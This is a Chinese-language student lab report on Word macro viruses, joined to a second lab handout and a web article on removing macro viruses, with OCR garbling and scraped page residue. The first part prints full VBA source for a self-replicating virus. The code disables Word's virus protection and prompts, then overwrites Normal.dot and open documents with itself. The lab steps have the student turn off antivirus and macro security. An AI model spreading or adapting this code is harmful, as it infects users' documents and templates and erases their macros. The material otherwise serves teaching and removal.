宏病毒实验报告 201424010257 邹文敏 」、实验目的 通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。 二、实验内容 运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。 三、实验步骤 实验一: 将word文档中的开发者工具打开;word中心宀信任选项宀宏设计将信任选项打开 茎用所有左,并且不通辺⑴ 禁用所有去r井岌出通知?I 禁用乏啟宇転署比所有左回 ■启用所有潮海;可龍会运行有蓿在危脸的代码)㈢ TT 瓷1 运行第一个实验Visual Basic 宀normal 宀Microsoft 宀the document Project T microsoft word 对象the document 复制如下代码: 'APMP Private Sub Docume nt_Ope n() On Error Resume Next

Applicatio n.DisplayStatusBar = False Opti on s.VirusProtect ion = False Optio ns.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocume nt.VBProject.VBCompo nen ts(1).CodeModule.Li nes(1,20) Set Host = NormalTemplate.VBProject.VBCompo nen ts(1).CodeModule If ThisDocume nt = NormalTemplate Then _ Set Host = ActiveDocume nt.VBProject.VBComp onen ts(1).CodeModule With Host If .L in es(1, 1) <> "'APMP" The n '判断感染标志 .DeleteLi nes 1, .Cou ntOfLi nes '删除目标文件所有代码.InsertLines 1, MyCode '向目标文档写入病毒代码 If ThisDocume nt = NormalTemplate Then _ ActiveDocume nt.SaveAs ActiveDocume nt.FullName End If End With MsgBox "Basic class macro by jackie", vbOKO nly, "APMP" End Sub 保存时注意保存为宏文件

Word宏病毒试验

实验四Word宏病毒试验 专业班级学号姓名 实验学时实验类型实验地点 实验时间指导老师高虎 实验成绩 年月日 一实验目的 1. 演示宏的编写 2. 说明宏的原理及其安全漏洞和缺陷 3. 理解宏病毒的作用机制 二实验环境 Windows 系列操作系统Word2003 应用程序 实验素材:experments 目录下的macro 目录的macro_1.txt。 三实验步骤 1.软件设置:关闭杀毒软件的自动防护功能。 2.打开Word 2003,在工具 宏 安全性中,将安全级别设置为低,在可靠发行商选项 卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic 项目的访问。 3.自我复制功能演示。一个word 文档,然后按Alt+F11 调用宏编写窗口(工Visual Basic 宏编辑器),在左侧的project—>Microsoft Word 对象 ThisDocument中输入源代码(参见源代码一或者从光盘上拷贝,位置为:“光盘盘符:\Experiment\macro\macro_1.txt‖),保存。此时当前word 文档就含有宏病毒,只要下次打开这个word 文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument 中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open)。此时所有的word 文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word 的正常使用,本例中只是简单的跳出一个提示框。 4. 清除宏病毒 对每一个受感染的Word 文档进行如下操作:打开受感染的Word 文档,进入宏编辑环境(按Alt+F11 键),打开Normal|MicrosoftWord 对象|This Document,清除其中的病毒代码(只要删除所有内容即可)。然后打开Project|Microsoft Word|This Document,清除其中的病毒代码。实际上,模板的病毒代码只要在处理最后一个受感染的文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染的文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,如果存在病毒代码,就进行一次清除。

如何清除Excel、word宏病毒l

如何清除Excel、word宏病毒 你可以按照以下方法清除试试:首先进入到C:Program FilesMicrosoft OfficeOFFICE11xlstart目录,删除其中的book1文件,然后在该目录新建一个名字为“Book1”的文件夹。接着打开Excel文档,依次点击“格式”→“工作表”→“取消隐藏工作表”,删除xl4poppy工作表。最后点击“插入”菜单→“名称”→“定义”,删除所有的名称并保存即可。 对于已染病毒的文件首先应将Normal.dot中的自动宏清除(AutoOpen、Aut oClose、AutoNew);然后将Normal.dot置成只读方式。对于其它已染毒的文件均应将自动宏清除,这样就可以达到清除病毒的目的。 平时使用时要加强预防。对来历不明的宏最好予以删除;如果发现后缀为.DOC的文件变成模板时,则可怀疑其已染宏病毒,其主要表现是在Save As文档时,选择文件类型的框变为灰色。 在打开文件时,按住SHIFT键可以阻止自动宏的运行。例如,当您用含有AutoNew 宏的模板新建一个文档时,在“新建”对话框(“文件”菜单) 中单击“确定”按钮时按住SHIFT键,就可以阻止AutoNew宏的执行。您要按住SHIFT键直到新文档显示在窗口中。在可以触发自动宏的宏中,您可以用DisableAutoMacros阻止运行自动宏。 采取以下两个步骤: 1、进入“工具|宏”,查看模板Normal.dot,若发现有Filesave、Filesaveas等文件操作宏或类似AAAZAO、AAAZFS 怪名字的宏,说明系统确实感染了宏病毒,删除这些来历不明的宏。对以Auto×××命名的,若不是用户自己命名的自动宏,则说明文明感染了宏病毒,删除它们。若是用户自己创建的自动宏,可以打开它,看是否与原来创建时的内容一样,如果存在被改变处,说明你编制的自动宏已经宏病毒修改这时应该将自动宏修改为原来编制的内容。在最糟的情况下,如果分不清那些是宏病毒,为安全起见,可删除所有来路不明的宏,甚至是用户自己创建的宏。因为即便删错了,也不会对Word文档内容产生任何影响,仅仅是少了“宏功能”。如果需要,还可以重新编制。 2、即使在“工具|宏”删除了所有的病毒宏,并不意味着你可以高枕无忧了。因为病毒原体还在文本中,只不过暂时不活动了,也许还会死灰复燃。为了彻底消除宏病毒,再时入“文件|新建”,选择“模板”,正常情况下,可以在“文件模板”处见到“Normal.dot”,如果没有,说明文档模板文件Normal.dot已被病毒修改了。这时用你手边原来备份的Normal.dot 覆盖当前的Normal.dot;或你没有备份,则删掉然毒Normal.dot,重新进入Word,在“模板”里,充置默认字体等选项后退出Word,系统就会自动创建一个干净的Normal.dot。再进入Word,再打开原来的文本,并新建另一个空文档,这时新建文档是干净的;将原文件的全部内容拷贝到新文件中,关闭感染宏病毒的文本,然后再将新文本保存为原文件名存储。这样,宏病毒就感染彻底清除了,原文件也恢复了原样,可以放心大胆地编辑、修改、存储了。 首先要保证文档环境无病毒,即Normal.dot文档模板是干净的

相关主题
文本预览
相关文档 最新文档